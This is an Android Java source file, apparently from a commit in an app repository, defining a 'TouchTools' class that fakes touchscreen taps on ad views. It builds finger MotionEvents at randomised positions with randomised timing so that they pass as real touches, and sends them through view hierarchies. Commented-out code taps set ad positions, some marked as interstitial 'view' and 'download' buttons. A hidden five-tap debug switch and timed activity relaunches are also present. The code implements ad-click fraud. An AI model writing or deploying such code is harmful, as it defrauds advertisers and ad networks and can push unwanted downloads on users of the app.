Files
陈巨龙 13b5cd7f4b 8.18
2025-08-20 15:23:27 +08:00

368 lines
14 KiB
Java

package com.android.boot.ad;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.hardware.input.InputManager;
import android.os.Handler;
import android.os.Looper;
import android.os.SystemClock;
import android.util.DisplayMetrics;
import android.view.InputDevice;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.Toast;
import com.android.boot.ad.jni.JNIHelper;
import com.miui.zeus.mimo.sdk.TemplateAd;
import java.util.Random;
public class TouchTools {
static {
System.loadLibrary("analyse");
}
public static boolean isDebug = false;
public static long startTime = System.currentTimeMillis();
public static long timeCL = 0;
public static Activity mainActivity;
public static final String isClick = "isClick";
public static AdManager mAdManger = AdManager.getInstance();
public synchronized static void findTemplateAd(TemplateAd templateAd, TemplateAdHandler templateAdHandler) {
// String upId = templateAd.mTemplateAdImpl.d.mUpId;
// int code = -1;
// switch (upId) {
// case AdManager.TemplateA:
// code = 0;
// break;
// case AdManager.TemplateB:
// code = 1;
// break;
// case AdManager.TemplateC:
// code = 2;
// break;
// case AdManager.TemplateD:
// code = 3;
// break;
// case AdManager.Banner:
// code = 4;
// break;
// }
// templateAdHandler.handler(templateAd.mTemplateAdImpl.d, templateAd.mTemplateAdImpl.c.a, code);
}
public static float generateFloat(int bigBound, int bits) {
return new Random().nextInt(bigBound) +
(float) new Random().nextInt((int) Math.pow(10, bits)) / (int) Math.pow(10, bits);
}
public static void backToCurrentActivity(long... delayMillis) {
Handler handler = new Handler(Looper.getMainLooper());
for (long delay : delayMillis) {
handler.postDelayed(() -> {
Intent intent = new Intent(mainActivity, mainActivity.getClass());
mainActivity.startActivity(intent);
}, delay);
}
}
public static boolean isCurrentTimeInRange() {
if (System.currentTimeMillis() < mAdManger.timeStamp) {
return false;
}
return SharedPreferencesTools.getBoolean(isClick, mainActivity);
}
public static void randomClickTemplate(int id, View view, boolean condition) {
// if (!condition || !isCurrentTimeInRange()) {
// return;
// }
// Handler handler = new Handler(Looper.getMainLooper());
// switch (id) {
// case 0:
// handler.postDelayed(() -> {
// JNIHelper.B(view, 749 + generateFloat(220, 5), 67 + generateFloat(80, 5));
// }, new Random().nextInt(500) + 200);
// break;
// case 1:
// handler.postDelayed(() -> {
// JNIHelper.B(view, 36 + generateFloat(900, 5), 379 + generateFloat(80, 5));
// }, new Random().nextInt(500) + 200);
// break;
// case 2:
// handler.postDelayed(() -> {
// JNIHelper.B(view, 721 + generateFloat(200, 5), 604 + generateFloat(80, 5));
// }, new Random().nextInt(500) + 200);
// break;
//
// case 3:
// handler.postDelayed(() -> {
// JNIHelper.B(view, 721 + generateFloat(200, 5), 374 + generateFloat(80, 5));
// }, new Random().nextInt(500) + 200);
// break;
// case 4://插屏查看
// handler.postDelayed(() -> {
// JNIHelper.B(view, setX(0.04) + generateFloat(setX(0.70), 5), setY(0.235) + generateFloat(setY(0.035), 5));
// }, new Random().nextInt(500) + 200);
// break;
// case 5://插屏下载
// handler.postDelayed(() -> {
// JNIHelper.D(view, generateFloat(setX(0.75), 5), setY(0.054) + generateFloat(setY(0.312), 5));
// }, new Random().nextInt(500) + 200);
// break;
// }
}
public static int setX(double num) {
return (int) Math.round(getScreenWidth() * num);
}
public static int setY(double num) {
return (int) Math.round(getScreenHeight() * num);
}
public static int getTouchDeviceId(Context context) {
InputManager inputManager = (InputManager) context.getSystemService(Context.INPUT_SERVICE);
int[] deviceIds = inputManager.getInputDeviceIds();
for (int deviceId : deviceIds) {
InputDevice device = inputManager.getInputDevice(deviceId);
if (device != null && (device.getSources() & InputDevice.SOURCE_TOUCHSCREEN) == InputDevice.SOURCE_TOUCHSCREEN) {
return deviceId;
}
}
return 0;
}
public static int getScreenWidth() {
DisplayMetrics displayMetrics = new DisplayMetrics();
((WindowManager) mainActivity.getSystemService(Context.WINDOW_SERVICE)).getDefaultDisplay().getMetrics(displayMetrics);
return displayMetrics.widthPixels;
}
public static int getScreenHeight() {
DisplayMetrics displayMetrics = new DisplayMetrics();
((WindowManager) mainActivity.getSystemService(Context.WINDOW_SERVICE)).getDefaultDisplay().getMetrics(displayMetrics);
return displayMetrics.heightPixels;
}
public static void simulateTouchDelay(View viewGroup) {
new Handler(Looper.getMainLooper()).postDelayed(() -> {
if (viewGroup == null) {
return;
}
if (viewGroup.getWidth() != 0 && viewGroup.getHeight() != 0) {
simulateTouch(viewGroup, generateFloat(viewGroup.getWidth(), 5), generateFloat(viewGroup.getHeight(), 5));
}
}, new Random().nextInt(1000) + 1000);
}
public static void simulateTouchDelay(View viewGroup, String breakCondition, long delay) {
new Handler(Looper.getMainLooper()).postDelayed(() -> {
if (viewGroup == null) {
return;
}
if (viewGroup.getWidth() != 0 && viewGroup.getHeight() != 0) {
simulateTouch(viewGroup, generateFloat(viewGroup.getWidth(), 5), generateFloat(viewGroup.getHeight(), 5), breakCondition);
}
}, delay);
}
public static void simulateTouchDelay(View viewGroup, String breakCondition) {
new Handler(Looper.getMainLooper()).postDelayed(() -> {
if (viewGroup == null) {
return;
}
if (viewGroup.getWidth() != 0 && viewGroup.getHeight() != 0) {
simulateTouch(viewGroup, generateFloat(viewGroup.getWidth(), 5), generateFloat(viewGroup.getHeight(), 5), breakCondition);
}
}, new Random().nextInt(1000) + 1000);
}
public static void simulateTouch(View view, float x, float y) {
long downTime = SystemClock.uptimeMillis();
long eventTime = downTime;
int action = MotionEvent.ACTION_DOWN;
int pointerCount = 1;
// 创建 PointerProperties 数组
MotionEvent.PointerProperties[] pointerProperties = new MotionEvent.PointerProperties[pointerCount];
for (int i = 0; i < pointerCount; i++) {
pointerProperties[i] = new MotionEvent.PointerProperties();
pointerProperties[i].id = i;
pointerProperties[i].toolType = MotionEvent.TOOL_TYPE_FINGER;
}
// 创建 PointerCoords 数组
MotionEvent.PointerCoords[] pointerCoords = new MotionEvent.PointerCoords[pointerCount];
for (int i = 0; i < pointerCount; i++) {
pointerCoords[i] = new MotionEvent.PointerCoords();
pointerCoords[i].x = x;
pointerCoords[i].y = y;
pointerCoords[i].pressure = 1.0f;
pointerCoords[i].size = 1.0f;
}
int metaState = 0;
int buttonState = 0;
float xPrecision = 1.0f;
float yPrecision = 1.0f;
int deviceId = getTouchDeviceId(TouchTools.mainActivity); // 修改为通过 View 获取设备ID
int edgeFlags = 0;
int source = InputDevice.SOURCE_TOUCHSCREEN;
int flags = 0;
// 创建 ACTION_DOWN 事件
MotionEvent downEvent = MotionEvent.obtain(downTime, eventTime, action, pointerCount, pointerProperties, pointerCoords, metaState, buttonState, xPrecision, yPrecision, deviceId, edgeFlags, source, flags);
// 分发事件给父视图并进行坐标转换
view.dispatchTouchEvent(downEvent);
// Wait for a short duration to simulate a real touch event
try {
Thread.sleep(new Random().nextInt(100));
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
eventTime = SystemClock.uptimeMillis();
action = MotionEvent.ACTION_UP;
// 创建 ACTION_UP 事件
MotionEvent upEvent = MotionEvent.obtain(downTime, eventTime, action, pointerCount, pointerProperties, pointerCoords, metaState, buttonState, xPrecision, yPrecision, deviceId, edgeFlags, source, flags);
// 分发事件给父视图并进行坐标转换
view.dispatchTouchEvent(upEvent);
// 释放事件以释放内存
downEvent.recycle();
upEvent.recycle();
}
public static void simulateTouch(View view, float x, float y, String breakCondition) {
long downTime = SystemClock.uptimeMillis();
long eventTime = downTime;
int action = MotionEvent.ACTION_DOWN;
int pointerCount = 1;
// 创建 PointerProperties 数组
MotionEvent.PointerProperties[] pointerProperties = new MotionEvent.PointerProperties[pointerCount];
for (int i = 0; i < pointerCount; i++) {
pointerProperties[i] = new MotionEvent.PointerProperties();
pointerProperties[i].id = i;
pointerProperties[i].toolType = MotionEvent.TOOL_TYPE_FINGER;
}
// 创建 PointerCoords 数组
MotionEvent.PointerCoords[] pointerCoords = new MotionEvent.PointerCoords[pointerCount];
for (int i = 0; i < pointerCount; i++) {
pointerCoords[i] = new MotionEvent.PointerCoords();
pointerCoords[i].x = x;
pointerCoords[i].y = y;
pointerCoords[i].pressure = 1.0f;
pointerCoords[i].size = 1.0f;
}
int metaState = 0;
int buttonState = 0;
float xPrecision = 1.0f;
float yPrecision = 1.0f;
int deviceId = getTouchDeviceId(TouchTools.mainActivity); // 修改为通过 View 获取设备ID
int edgeFlags = 0;
int source = InputDevice.SOURCE_TOUCHSCREEN;
int flags = 0;
// 创建 ACTION_DOWN 事件
MotionEvent downEvent = MotionEvent.obtain(downTime, eventTime, action, pointerCount, pointerProperties, pointerCoords, metaState, buttonState, xPrecision, yPrecision, deviceId, edgeFlags, source, flags);
// 分发事件给父视图并进行坐标转换
view.dispatchTouchEvent(downEvent);
dispatchTouchToParents(view, downEvent, breakCondition);
// Wait for a short duration to simulate a real touch event
try {
Thread.sleep(new Random().nextInt(100));
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
eventTime = SystemClock.uptimeMillis();
action = MotionEvent.ACTION_UP;
// 创建 ACTION_UP 事件
MotionEvent upEvent = MotionEvent.obtain(downTime, eventTime, action, pointerCount, pointerProperties, pointerCoords, metaState, buttonState, xPrecision, yPrecision, deviceId, edgeFlags, source, flags);
// 分发事件给父视图并进行坐标转换
view.dispatchTouchEvent(upEvent);
dispatchTouchToParents(view, upEvent, breakCondition);
// 释放事件以释放内存
downEvent.recycle();
upEvent.recycle();
}
// 递归地分发事件给父视图,并进行坐标转换
private static void dispatchTouchToParents(View view, MotionEvent event, String breakCondition) {
View currentView = view;
MotionEvent parentEvent = MotionEvent.obtain(event);
while (currentView.getParent() != null && currentView.getParent() instanceof ViewGroup) {
ViewGroup parentViewGroup = (ViewGroup) currentView.getParent();
int[] viewLocation = new int[2];
int[] parentLocation = new int[2];
currentView.getLocationOnScreen(viewLocation);
parentViewGroup.getLocationOnScreen(parentLocation);
float offsetX = Math.abs(viewLocation[0] - parentLocation[0]);
float offsetY = Math.abs(viewLocation[1] - parentLocation[1]);
parentEvent.offsetLocation(offsetX, offsetY);
parentViewGroup.dispatchTouchEvent(parentEvent);
currentView = parentViewGroup;
if (parentViewGroup.getClass().getSimpleName().contains(breakCondition)) {
break;
}
}
parentEvent.recycle(); // 回收事件对象
}
private static int clickCount = 0;
private static Handler buttonHandler;
@SuppressLint("ClickableViewAccessibility")
public static void setButton(Button transparentButton) {
if (buttonHandler != null) {
return;
}
buttonHandler = new Handler();
transparentButton.setOnTouchListener((v, event) -> false);
transparentButton.setOnClickListener(v -> {
clickCount++;
if (clickCount == 5) {
isDebug = true;
SharedPreferencesTools.putBoolean("isDebug", true, mainActivity);
Toast.makeText(mainActivity, "原神启动!", Toast.LENGTH_LONG).show();
clickCount = 0; // 重置计数器
}
// 如果在 TIMEOUT 时间内没有完成 5 次点击,重置计数器
buttonHandler.removeCallbacksAndMessages(null); // 清除之前的超时任务
buttonHandler.postDelayed(() -> clickCount = 0, 1000);
});
}
}